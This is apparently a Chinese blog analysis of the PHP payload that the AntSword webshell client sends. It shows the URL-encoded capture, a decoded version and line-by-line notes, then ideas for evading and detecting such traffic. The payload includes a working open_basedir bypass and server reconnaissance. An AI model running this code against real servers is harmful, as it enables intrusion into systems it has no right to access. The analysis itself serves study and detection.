0x01 antsword如何连接

通过将antsword代理到bp在抓包，可以看到antsword传递了一堆php代码。

0x02 代码转换

原始：

%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(base64_decode(%22Lzt8Oi8%3D%22)%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.88a979108f6d%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%24tmdir%3Drealpath(%24tmdir)%3B%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%2276a3%22.%22b62c1%22%3Becho%20%40asenc(%24output)%3Becho%20%2200%22.%225c2%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B

=>url解码=>格式化

@ini_set("display_errors", "0");
@set_time_limit(0);

$opdir = @ini_get("open_basedir");

if ($opdir) {
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
    @array_push($oparr, $ocwd, sys_get_temp_dir());

    foreach ($oparr as $item) {
        if (!@is_writable($item)) {
            continue;
        }

        $tmdir = $item . "/.88a979108f6d";
        @mkdir($tmdir);

        if (!@file_exists($tmdir)) {
            continue;
        }

        $tmdir = realpath($tmdir);
        @chdir($tmdir);
        @ini_set("open_basedir", "..");

        $cntarr = @preg_split("/\\\\|\//", $tmdir);
        for ($i = 0; $i < sizeof($cntarr); $i++) {
            @chdir("..");
        }

        @ini_set("open_basedir", "/");
        @rmdir($tmdir);
        break;
    }
}

function asenc($out) {
    return $out;
}

function asoutput() {
    $output = ob_get_contents();
    ob_end_clean();
    echo "76a3" . "b62c1";
    echo @asenc($output);
    echo "00" . "5c2";
}

ob_start();

try {
    $D = dirname($_SERVER["SCRIPT_FILENAME"]);
    if ($D == "") {
        $D = dirname($_SERVER["PATH_TRANSLATED"]);
    }

    $R = "{$D}\t";
    if (substr($D, 0, 1) != "/") {
        foreach (range("C", "Z") as $L) {
            if (is_dir("{$L}:")) {
                $R .= "{$L}:";
            }
        }
    } else {
        $R .= "/";
    }

    $R .= "\t";
    $u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
    $s = ($u) ? $u["name"] : @get_current_user();
    $R .= php_uname();
    $R .= "\t{$s}";

    echo $R;
} catch (Exception $e) {
    echo "ERROR://".$e->getMessage();
}

asoutput();
die();

0x03 代码分析

@ini_set("display_errors", "0");
@set_time_limit(0);
禁用错误显示和移除时间限制

$opdir = @ini_get("open_basedir");

if ($opdir) {
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
    @array_push($oparr, $ocwd, sys_get_temp_dir());
    foreach ($oparr as $item) {
        if (!@is_writable($item)) {
            continue;
        }

        $tmdir = $item . "/.88a979108f6d";
        @mkdir($tmdir);

        if (!@file_exists($tmdir)) {
            continue;
        }

        $tmdir = realpath($tmdir);
        @chdir($tmdir);
        @ini_set("open_basedir", "..");

        $cntarr = @preg_split("/\\\\|\//", $tmdir);
        for ($i = 0; $i < sizeof($cntarr); $i++) {
            @chdir("..");
        }

        @ini_set("open_basedir", "/");
        @rmdir($tmdir);
        break;
    }
}
 脚本通过获取 open_basedir 配置的值并尝试访问其他目录。尝试创建一个隐藏目录，并通过切换工作目录来绕过 open_basedir 限制，最后删除临时目录
function asenc($out) {
    return $out;
}
没有进行加解密
function asoutput() {
    $output = ob_get_contents();
    ob_end_clean();
    echo "76a3" . "b62c1";
    echo @asenc($output);
    echo "00" . "5c2";
}
获取输出缓冲区的内容并进行处理。输出一些拼接的十六进制字符串以及经过 asenc() 函数处理的内容。
ob_start();
启动输出缓冲区
try {
    $D = dirname($_SERVER["SCRIPT_FILENAME"]);
    if ($D == "") {
        $D = dirname($_SERVER["PATH_TRANSLATED"]);
    }

    $R = "{$D}\t";
    if (substr($D, 0, 1) != "/") {
        foreach (range("C", "Z") as $L) {
            if (is_dir("{$L}:")) {
                $R .= "{$L}:";
            }
        }
    } else {
        $R .= "/";
    }

    $R .= "\t";
    $u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
    $s = ($u) ? $u["name"] : @get_current_user();
    $R .= php_uname();
    $R .= "\t{$s}";

    echo $R;
} catch (Exception $e) {
    echo "ERROR://".$e->getMessage();
}
获取当前脚本的路径、操作系统信息、当前用户信息并拼接成一个字符串
asoutput();
die();
结束脚本

0x04 一些思考

攻击：
流量过于明显=>使用加解密解决？
基于http的连接=>如何隐秘化
执行的函数进行筛选
其他命令的执行

防御：
路径的防御
内容判断 =>未加密 =>根据函数等内容
=>加密 =>服务器端使用rasp等对函数检测？
返回判断 =>未加密 =>敏感信息检测
=>加密 =>?